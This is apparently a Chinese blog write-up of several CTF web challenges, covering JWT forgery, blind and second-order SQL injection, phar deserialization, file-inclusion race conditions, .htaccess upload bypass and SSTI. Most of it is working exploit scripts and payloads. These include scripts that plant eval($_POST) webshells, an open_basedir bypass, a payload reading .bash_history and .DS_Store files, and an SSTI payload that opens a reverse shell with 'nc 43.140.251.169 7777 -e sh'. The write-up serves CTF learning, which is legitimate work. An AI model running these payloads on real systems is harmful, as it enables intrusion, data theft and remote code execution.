利用nodejs的jwt缺陷,当jwt的secret为空,jwt会采用algorithm为none进行解密。 js是弱语言类型,我们可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined).
1 2 3 if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); }
我们可以把刚刚抓包的token去解密一下: 然后我们就来伪造一下jwt: python安装一下jwt库:pip install pyjwt
1 2 3 4 5 6 7 8 9 10 11 12 import jwtpayload = { "secretid" : 0.1 , "username" : "admin" , "password" : "123" , "iat" : 1587287370 } myToken = jwt.encode(payload, algorithm="none" , key="" ) print (myToken)
我们用这个token去登录admin 返回了我们true,说明成功了,我们拿返回的sess:aok和sess:aok:sig去登录: 更换一下cookie就上去了,然后点getflag抓包: 总感觉jwt还是少了点知识,之后去补补,还是想先学会儿开发
[b01lers2020]Welcome to Earth 考点:前端JS 进去一张图,之后就立马跳转到: 看看源代码: 一路锁头进入chase 进入leftt: 进入shoot: 进入door: 最后是有一个js代码: 进入open: 进入fight: 审计一下就是让我们排列组合一下,找到正确flag,写个脚本:
1 2 3 4 5 6 7 from itertools import permutationsLIST=["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ]; Alllist=permutations(LIST) for item in Alllist: item="" .join(item) if item.startswith('pctf{hey_boys' ) and item[-1 ]=="}" : print (item)
flag肯定是pctf{hey_boys_im_baaaaaaaaaack!}
[GYCTF2020]Ezsqli 考点:SQL注入ASCII位偏移 首先来看一个例子,来看看这题的思路,实验表如下: 我们运行select (select 1, 'k')<(select * from tb1 limit 1);
输入select (select 1, 'l')<(select * from tb1 limit 1);
我们可以看到name第一个字段是kino,首字母是k,当我们自定义的字母小于或等于的时候,返回1,大于的时候返回0 但是select (select 1, 'k')>(select * from tb1 limit 1);
: 这样就是0,这就是个小bug需要注意一下,这也是第一个踩的坑 假如第一个字母都想同,就会比较第二个字母的大小:
接下来以这个思路来写个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requests url = "http://857df83b-fba2-469b-9cc9-063d3ee8eea7.node4.buuoj.cn:81/index.php" result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: # sleep(0.3 ) mid = (head + tail) >> 1 data = { # "id" :f"if(ascii(substr((),{i},1))>{mid},1,0)" } "id" : f"if((select 1,'{result+chr(mid)}')<(select * from f1ag_1s_h3r3_hhhhh),1,0)" } # t1=time.time() r = requests.post(url,data=data) # print(r.text) print(data["id" ]) # print(r.text) # t2=time.time() # print(t2-t1) if "Nu1L" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr(head-1 ) else : break print (result.lower() )
最后flag没有另一半括号的原因: 调试的时候发现payload有这一步: 到这一步又返回0,这个BUG我是真的不太懂了,太奇怪了,最后flag要转小写,否则无法提交
考点:GIt泄露,GIt恢复,SQL二次注入 进入界面是一个留言板系统,随便点一下发现,发帖你首先得登录: 提示了账号,密码后三位爆破: 得到账号密码,就可以成功发帖, 我一开始看到留言板就大脑不正常的以为是XSS,X了好一会儿发现好像思路本身就错了,然后杀意感知触发,觉得肯定有其他文件没找着,扫了一会儿发现有git文件,用githacker下载: 出来了一个write_do文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); } if (isset ($_GET ['do' ])){switch ($_GET ['do' ]){ case 'write' : break ; case 'comment' : break ; default : header ("Location: ./index.php" ); } } else { header ("Location: ./index.php" ); }
发现缺胳膊少腿,这里就有个之前没接触过的知识点,就是去恢复git,在linux的githacker扫描结果目录输入: 我们可以通过使用 git reflog 命令,就可查看到所有历史版本信息。git log --reflog
: 应该是要我们恢复到第一个e5b2开头的:git reset --hard e5b2a2443c
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); } if (isset ($_GET ['do' ])){switch ($_GET ['do' ]){ case 'write' : $category = addslashes ($_POST ['category' ]); $title = addslashes ($_POST ['title' ]); $content = addslashes ($_POST ['content' ]); $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query ($sql ); header ("Location: ./index.php" ); break ; case 'comment' : $bo_id = addslashes ($_POST ['bo_id' ]); $sql = "select category from board where id='$bo_id '" ; $result = mysql_query ($sql ); $num = mysql_num_rows ($result ); if ($num >0 ){ $category = mysql_fetch_array ($result )['category' ]; $content = addslashes ($_POST ['content' ]); $sql = "insert into comment set category = '$category ', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query ($sql ); } header ("Location: ./comment.php?id=$bo_id " ); break ; default : header ("Location: ./index.php" ); } } else { header ("Location: ./index.php" ); } ?>
得到了完整的源码,接下来就是白盒测试了 这边存在一个SQL二次注入,我们来思考一下,如果我们在第一个board界面: 也就是发帖界面的catagory里输入',content=database(),/*
,然后进入详细界面,再在留言里写*/#
,那么最后我们的sql执行语句就是
1 2 3 4 $sql = "insert into comment set category = '',content=database(),/*', content = '*/#', bo_id = '$bo_id '" ;
/**/
是多行注释,然后#是单行注释,这样就闭合了我们的语句: 可以看到库名为ctf 这里大家可能还有个疑惑点,就是addslashes函数不是转义了单引号吗? 所以才说是二次注入呀,第一次我们输入的catagory的单引号的确被转义了,但是储存到数据库里面是,它还是变成了单引号,之后我们在留言的时候又调用了一次catagory,这样就二次注入了 最后也是爆了库,表,列,都没flag,看了看wp,又是一个不知道的知识点 首先load_file这个是我知道的,也尝试过读取,也可以读取: 但是之后我就不知道flag在那里了,wp里提到了新的知识点:每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。 ',content=load_file('/home/www/.bash_history'),/*
,然后留言同样是*/#
: 管理者之前把html.zip解压了,然后移到了www目录下面,最后删除了zip文件,也删除了www/html目录下的.DS_Store
文件,但是他没删掉tmp目录下的html文件夹,我们尝试读取/tmp/html/.DS_Store
:.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。 ', content=((load_file('/tmp/html/.DS_Store'))),/*
: 文件内容太大了,导致加载不出来,转为hex:', content=(hex(load_file('/tmp/html/.DS_Store'))),/*
: 解码: 看到了flag文件flag_8946e1ff1ee3e40f.php
,上面也说过DS_Store文件可以显示当前目录的所有文件清单,他在/var/www/html删除了,所以flag的位置为/var/www/html/flag_8946e1ff1ee3e40f.php
读取',content=load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'),/*
: 受益匪浅
[SWPUCTF 2018]SimplePHP 考点:phar反序列化,代码审计
查看文件处存在任意文件读取:
1 2 3 4 <?php header ("content-type:text/html;charset=utf-8" ); include 'base.php' ;?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php session_start (); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css" > <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js" ></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js" ></script> </head> <body> <nav class ="navbar navbar -default " role ="navigation "> <div class ="container -fluid "> <div class ="navbar -header "> <a class ="navbar -brand " href ="index .php ">首页</a > </div > <ul class ="nav navbar -nav navbra -toggle "> <li class ="active "><a href ="file .php ?file =">查看文件</a ></li > <li ><a href ="upload_file .php ">上传文件</a ></li > </ul > <ul class ="nav navbar -nav navbar -right "> <li ><a href ="index .php "><span class ="glyphicon glyphicon -user "></span ><?php echo $_SERVER ['REMOTE_ADDR '];?></a ></li > </ul > </div > </nav > </body > </html > <!--flag is in f1ag .php -->
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include "base.php" ; header ("Content-type: text/html;charset=utf-8" ); error_reporting (0 ); function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename ); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file ( ) { global $_FILES ; if (upload_file_check ()) { upload_file_do (); } } function upload_file_check ( ) { global $_FILES ; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode ("." ,$_FILES ["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { } else { if (in_array ($extension ,$allowed_types )) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header ("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set ('open_basedir' ,'/var/www/html/' ); $file = $_GET ["file" ] ? $_GET ['file' ] : "" ; if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show (); if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php include 'function.php' ; upload_file (); ?> <html> <head> <meta charest="utf-8" > <title>文件上传</title> </head> <body> <div align = "center" > <h1>前端写得很low,请各位师傅见谅!</h1> </div> <style> p{ margin:0 auto} </style> <div> <form action="upload_file.php" method="post" enctype="multipart/form-data" > <label for ="file" >文件名:</label> <input type="file" name="file" id="file" ><br> <input type="submit" name="submit" value="提交" > </div> </script> </body> </html>
仔细分析一波class.php很容易发现pop链C1e4r::_destruct->Show::__tostring->Test::__get
,pop链如上,构造如下: 这边构造pop链需要注意一下,get魔术方法得到的是属性名source,而不是source对应的值,也就是param[‘source’]的值,在这一步由于有点忘记导致我搞混了,切记切记
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class C1e4r { public $test ; public $str ; public function __construct ( ) { $this ->str = new Show (); } } class Show { public $source ; public $str ; public function __construct ( ) { $this ->source; $this ->str['str' ]=new Test (); } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params['source' ] ='/var/www/html/f1ag.php' ; } } $test = new C1e4r ();echo serialize ($test ); $phar = new phar ("Boogipop.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetaData ($test );$phar ->addFromString ("test1.txt" ,"test1" );$phar ->addFromString ("test2.txt" ,"test2" );$phar ->stopBuffering ();?>
最后再file.php输入:?file=phar://upload/0697219c808af1516b30672479cbaae7.jpg
,文件名直接在upload文件夹找: 得解
[NCTF2019]SQLi 考点:SQL注入,%00截断,regexp 查询语句啥的都告诉你了,fuzz了一遍: 能用的东西少得可怜,or,and,单引号,#,-
全没了,其实除了单引号其他的都无所谓,但是单引号没了就很难受了啊,or没了可以用||
绕过,然后注释符也没了,想不出的我就去看了下wp 首先他有个robots.txt: 这个给不给说实话无所谓,然后wp里用的骚方法是%00截断;%00
:
%00注释 符号并非MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。 (比如文件上传中的00截断漏洞)另外在Python脚本中的使用:Python访问浏览器,会进行一次URL编码, 因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。
比如我输入username=\,password=||1'%00
,在burp里输入,在登录框输入%00不会识别: 成功之后会有302跳转,这边就可以进行一个regexp盲注,脚本我就放出来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requests import string from urllib import parsefrom time import sleepdict=string .ascii_lowercase+string .digits+"_{}" url="http://f03556c3-0292-463f-9c11-4e4dcdf7a8d5.node4.buuoj.cn:81/index.php" result="you_will_never_know7788990" for i in range (50 ): for j in dict: data={ "username" :"\\" , "passwd" :f"||passwd/**/regexp/**/\"^{result+j}\"/**/;{parse.unquote('%00')}" } r=requests.post (url=url,data=data) if "welcome" in r.text: result+=j print (result) break
之后跑出密码是you_will_never_know7788990
最后由于admin被ban了,加密为hex之后绕过 DOne
[RootersCTF2019]I_<3_Flask 考点:SSTI低水平题 没啥好说的 难点就在猜那个传参点
[NPUCTF2020]ezinclude 考点:缓存文件包含或条件竞争 源代码内发现了可疑的地方,抓个包: 发现返还个hash,说不定是密码输入试试: 跳转到了这里,我们访问一下看看: 看到了个include文件包含,我的第一反应是条件竞争:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requests import io import threading url='http://2858ca7f-3f90-4f39-a74f-fd80992d2576.node4.buuoj.cn:81/' sessionid='ctfshow' data={ "1" :"file_put_contents('/var/www/html/3.php','<?php eval($_POST [2]);?>');" } def write (session): fileBytes=io.BytesIO (b'a' *1024 *50 ) while True: r=requests.get (url=url) response=requests.post (url+"flflflflag.php" ,data={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php eval($_POST[1]);?>' #将这段代码写入session文件中 }, cookies={ 'PHPSESSID' :sessionid #同上,PHPSESSID的值 }, files={ 'file' :('ctfshow.jpg' ,fileBytes) } ) def read (session): while True: requests.get (url=url) response=session.post (url+'flflflflag.php?file=/tmp/sess_' +sessionid,data=data,cookies={ 'PHPSESSID' :sessionid #包含session文件让第一个eval 执行,然后执行第二个eval }) response2=session.get (url+'3.php' ) if response2.status_code==200 : print ('++++++perfect+++++' ) else : print (response2.status_code) if __name__=='__main__' : evnet=threading.Event () with requests.session () as session: for i in range (10 ): threading.Thread (target=write,args=(session,)).start () for i in range (10 ): threading.Thread (target=read, args=(session,)).start () evnet.set ()
最后把shell写入,在phpinfo可以发现flag,当时我还在想ban了什么system要绕过disabled_function,虽然用UAF确实可以绕过
然后网上搜了下WP发现了一个新的方法: php7.0的bug:?file=php://filter/string.strip_tags/resource=/etc/passwd
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。 该方法仅适用于以下php7版本,php5并不存在该崩溃。
1 2 3 4 5 • php7.0.0 -7.1 .2 可以利用, 7.1 .2 x版本的已被修复 • php7.1.3 -7.2 .1 可以利用, 7.2 .1 x版本的已被修复 • php7.2.2 -7.2 .8 可以利用, 7.2 .9 一直到7.3 到现在的版本已被修复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsfrom io import BytesIOimport repayload = "<?php eval($_POST[shaw]);?>" data={ 'file' : BytesIO(payload.encode()) } url="http://c707289b-9d30-45b1-8ce7-8c5498df7acd.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" try : r=requests.post(url=url,files=data,allow_redirects=False ) except : print ("fail!" )
这样就可以去包含tmp目录下的文件,文件就是我们的一句话木马,这个思路不错,但是还有个步骤,上传文件后我们session文件的名字为sess_xxxxxxx
这种格式,所以要知道她的名字,我们扫除来了个dir.php,里面的内容就是去查看我们的tmp目录下的文件名的,然后getshell! 看到了文件名就包含: 芜湖!
HarekazeCTF2019]encode_and_encode 考点:JSON的特殊绕过点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting (0 );if (isset ($_GET ['source' ])) { show_source (__FILE__ ); exit (); } function is_valid ($str ) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode ('|' , $banword ) . '/i' ; if (preg_match ($regexp , $str )) { return false ; } return true ; } $body = file_get_contents ('php://input' );$json = json_decode ($body , true );if (is_valid ($body ) && isset ($json ) && isset ($json ['page' ])) { $page = $json ['page' ]; $content = file_get_contents ($page ); if (!$content || !is_valid ($content )) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; } $content = preg_replace ('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content );echo json_encode (['content' => $content ]);
审了一下不难发现,需要我们post传一个json格式的东西进去(要记得把type也改为json) 之后会对我们输出的json数据和json里面的page参数进行一个过滤 前两点没问题就获得文件的内容,然后再对文件内容进行一次过滤,最后对flag文件内容进行了一次替换 可以看得出来出题人不是一般人,想得到这种套娃的方式,但是看似很困难,实则考的就是一个知识点,json中的unicode编码是会被识别的,比如\u0066\u006c\u0061\u0067
就是flag
,这样就可以达到绕过的目的 绕过这多层判断需要结合filter
协议对结果进行base64编码,绕过一下文件的内容,然后再用unicode去绕过我们的payload本身,所以最终的payload {"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
[SUCTF 2019]EasyWeb 考点:htaccess利用,异或rce,代码审计,脚本能力 考点都很容易,但是将考点一综合,恐怕就是一道很恐怖的题了,至少我是觉得这题是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag ( ) { $userdir = "upload/tmp_" .md5 ($_SERVER ['REMOTE_ADDR' ]); if (!file_exists ($userdir )){ mkdir ($userdir ); } if (!empty ($_FILES ["file" ])){ $tmp_name = $_FILES ["file" ]["tmp_name" ]; $name = $_FILES ["file" ]["name" ]; $extension = substr ($name , strrpos ($name ,"." )+1 ); if (preg_match ("/ph/i" ,$extension )) die ("^_^" ); if (mb_strpos (file_get_contents ($tmp_name ), '<?' )!==False) die ("^_^" ); if (!exif_imagetype ($tmp_name )) die ("^_^" ); $path = $userdir ."/" .$name ; @move_uploaded_file ($tmp_name , $path ); print_r ($path ); } } $hhh = @$_GET ['_' ];if (!$hhh ){ highlight_file (__FILE__ ); } if (strlen ($hhh )>18 ){ die ('One inch long, one inch strong!' ); } if ( preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh ) ) die ('Try something else!' ); $character_type = count_chars ($hhh , 3 );if (strlen ($character_type )>12 ) die ("Almost there!" );eval ($hhh );?>
代码很少,这里给了我们一个eval函数和一个get_the_flag
方法,想也不用想,是要我们用eval去调用这个方法 那我们该如果去执行命令呢,bypass了这么多字母,这里就考一个无数字字母rce,先FUZZ一下我们的可用字符:
1 2 3 4 5 6 <?php for ($i =0 ;$i <=256 ;$i ++){if (!preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' ,chr ($i ))){ echo chr ($i )."\t" ; }
得到了! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }
和一些不可见字符 ,不要觉得不可见字符没用,有用滴捏,我们写个脚本来通过一关:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $payload ='_GET' ;$res ="" ;for ($i =0 ;$i <strlen ($payload );$i ++){ for ($j =0 ;$j <=256 ;$j ++){ $str =chr (246 )^chr ($j ); if ($str ==$payload [$i ]){ $res .="%" .dechex ($j ); } } } echo '[*]:' .'%f6%f6%f6%f6' .'^' .$res ;?>
这个脚本是为了得到_GET
字符串的,遍历一边字符,与%f6进行异或,也可以选其他不可见字符,都可以 最后得到payload:
1 ?_=${%f6%f6%f6%f6^%a9%b1%b3%a2}{%f6}();&%f6=phpinfo
这里已经得到了flag,但这是buu靶场的失误,我们继续按着预期走 接下来审视一下get_the_flag方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function get_the_flag ( ) { $userdir = "upload/tmp_" .md5 ($_SERVER ['REMOTE_ADDR' ]); if (!file_exists ($userdir )){ mkdir ($userdir ); } if (!empty ($_FILES ["file" ])){ $tmp_name = $_FILES ["file" ]["tmp_name" ]; $name = $_FILES ["file" ]["name" ]; $extension = substr ($name , strrpos ($name ,"." )+1 ); if (preg_match ("/ph/i" ,$extension )) die ("^_^" ); if (mb_strpos (file_get_contents ($tmp_name ), '<?' )!==False) die ("^_^" ); if (!exif_imagetype ($tmp_name )) die ("^_^" ); $path = $userdir ."/" .$name ; @move_uploaded_file ($tmp_name , $path ); print_r ($path ); } }
首先创建了一个文件夹,用我们的Ipmd5加密后来命名 之后对上传的文件进行验证,有个文件头检测,需要为图片类型,这里可以用以下方法绕过
1 2 3 4 5 GIF89a \x00\x00\x8a\x39\x8a\x39
之后再对文件内容进行判断,不能有<?
这就限制了我们,这边也有2种思路,一种是短标签绕过,另一种是使用htacess+filter对解析的内容进行一次base64解码 短标签绕过就用<script language="php">echo '123'; </script>
htaccess文件绕过:
1 2 SetHandler application/x-httpd-php php_value auto_append_file "php://filter/convert.base64-decode/resource=xxxx.png"
我们的htaccess文件和图片木马都要记得加上个文件头来绕过哦,锻炼一下写脚本的能力,写了个py脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport hashlibimport base64url="http://983cc47b-3998-4c23-b8e8-4d3e0267e2cd.node4.buuoj.cn:81/" padding="?_=${%f6%f6%f6%f6^%a9%b1%b3%a2}{%f6}();&%f6=get_the_flag" test_content=b'''GIF89a AddType application/x-httpd-php .cc php_value auto_append_file "php://filter/convert.base64-decode/resource=1.cc" ''' hta_content=b'''\x00\x00\x8a\x39\x8a\x39 SetHandler application/x-httpd-php php_value auto_append_file "php://filter/convert.base64-decode/resource=1.cc" ''' file_content=b"GIF89a" +b"00" +base64.b64encode(b"<?php eval($_POST['pop']);?>" ) hta_file=[('file' ,('.htaccess' ,hta_content,'image/png' ))] file=[('file' ,('1.cc' ,file_content,'image/png' ))] test=[('file' ,('test.txt' ,test_content,'image/png' ))] r1=requests.post(url=url+padding,files=hta_file) r2=requests.post(url=url+padding,files=file) r3=requests.post(url=url+padding,files=test) print (r2.text)
访问这个文件就可以进行RCE了: 这里一方面设置了disabled_function,另一方面设置了个: openbasedir,要绕过这两个又有2种思路 一个是使用蚁剑的插件绕过disabled_function 另一种学习一下:?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*'));
这样就可以查看根目录下的文件,最后用file_get_contents去读取 有关更多的bypass查看: 另外假如大家对我们的\x00\x00\x8a\x39\x8a\x39
有兴趣,我也看了看: 我知识浅薄看不出是什么的文件头,不过应该是JPEG的?
[CISCN2019 华东南赛区]Double Secret 考点:RC4加密,SSTI注入 dirsearch开扫只找到了一个robots.txt,打开后为: 没什么几把卵用,所以我们继续分析首页的secret,经过一系列的测试发现: 猜测需要传参,参数为secret: 你每次输入不同的数字都会返回一个不同的字母或者数字,这边瞎搞搞看到了报错信息: 看到了RC4敏感字样,并且还贴心的告诉我们是解密,也就是说,网页会把我们输入的secret参数进行一次rc4解密,并且密钥已经告诉我们了就是HereIsTreasure
,在网上找了个大佬的脚本,并且自己也分析了一遍:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import base64from urllib.parse import quotedef rc4_main (key = "init_key" , message = "init_message" ): s_box = rc4_init_sbox(key) crypt = str (rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox (key ): s_box = list (range (256 )) j = 0 for i in range (256 ): j = (j + s_box[i] + ord (key[i % len (key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt (plain, box ): res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr (ord (s) ^ k)) cipher = "" .join(res) print (quote(cipher)) return (str (base64.b64encode(cipher.encode('utf-8' )), 'utf-8' )) rc4_main("HereIsTreasure" ,"{{lipsum.__globals__.__builtins__.__import__('os').popen('nc 43.140.251.169 7777 -e sh').read()}}" )
有关rc4的加密原理可以看:
然后可以看到源码中有这样一个过滤: 所以直接去cat flag是会被检测出来的,这里我使用了反弹shell,我还想得出来的方法有用base64等加密方式对其进行加密输出: 最后也是得出了flag
[网鼎杯2018]Unfinish 考点:SQL二次注入,逗号过滤 只能说不愧是网鼎杯 由于是在BUU做的题,扫目录会429,这点让我太烦了,可以扫出来有一个register.php
的,虽然也可以猜出来,但是还是扫实在点啊 在register界面有个小Tips,如果我们的username符合规则就会302跳转到登录界面,如果语法有错就是原地200,如果被ban了就是200然后底部会有一个nonono! 通过这三点可以知道该用什么payload 也是经过了一系列的fuzz啊,发现ban掉了逗号,information 所以呢,该怎么写呢,这里又get到了一个新知识: 输入select ''+database()+'';
返回的是0,然而输入 select ''+hex(database())+'';
: 这里为什么是6呢?是因为后面有字母被截断了,加号只可以数字相加嘛 假如我们输入 select ''+hex(hex(database()))+'';
: 双层hex加密,这样暂时来看是没问题的,但是假如我们的回显更加的长一些呢? 可以发现他变成了科学计数法,因此需要用到substr
去截取这个回显: 这里又有个新tipssubstr(xxx,from x for x)
,由于逗号被ban了,我们可以使用substr的这个语句,information库被过滤了,所以我尝试了用mysql和sys库,但都以失败告终,这是因为这2个库是在mysql5.7后新增的,靶场的mysql版本可能是更低的 因此只可以猜测flag在flag
表中,并且里面只有一行内容: 据此写一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsfrom random import randinturl1="http://06876111-a393-4b31-a99e-f67d25fb4fa2.node4.buuoj.cn:81/register.php" url2="http://06876111-a393-4b31-a99e-f67d25fb4fa2.node4.buuoj.cn:81/login.php" i=0 res="" while True : j = randint(1000 , 2000 ) i+=1 if i==1 : data1 = { "email" : f"{j} " + "@qq.com" , "username" : f"'+substr(hex(hex((select * from flag)))from {str (i)} for 10)+'" , "password" : "1" } else : data1={ "email" :f"{j} " +"@qq.com" , "username" :f"'+substr(hex(hex((select * from flag)))from {(i-1 )*10 +1 } for 10)+'" , "password" :"1" } data2={ "email" : f"{j} " +"@qq.com" , "password" : "1" } r1=requests.post(url=url1,data=data1) r2=requests.post(url=url2,data=data2) str =r2.text res+=str [837 :847 ] print (res)
最终也是可以跑出来答案,把结果hex解密2次即可:
[GYCTF2020]EasyThinking 考点:THinkphp6.0文件写入CVE 朴实无华的一个web界面,扫描目录发现www.zip
备份文件: 鉴定为TP6.0,查阅有关资料发现存在任意文件操纵漏洞
具体分析请参考我的专题ThinkPHP CVE
这里就直接上我的请求包 注册一个账号,登录时抓包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /home/member/login HTTP/1.1 Host: 405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81 Content-Length: 30 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81/home/member/login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=bbbbbbbbbbbbbbbbbbbbbbbbbbbb.php Connection: close username=Boogipop&password=123
将PHPSESSID改为同样为32位的一个php文件名称,然后登录,在搜索界面抓包改包:
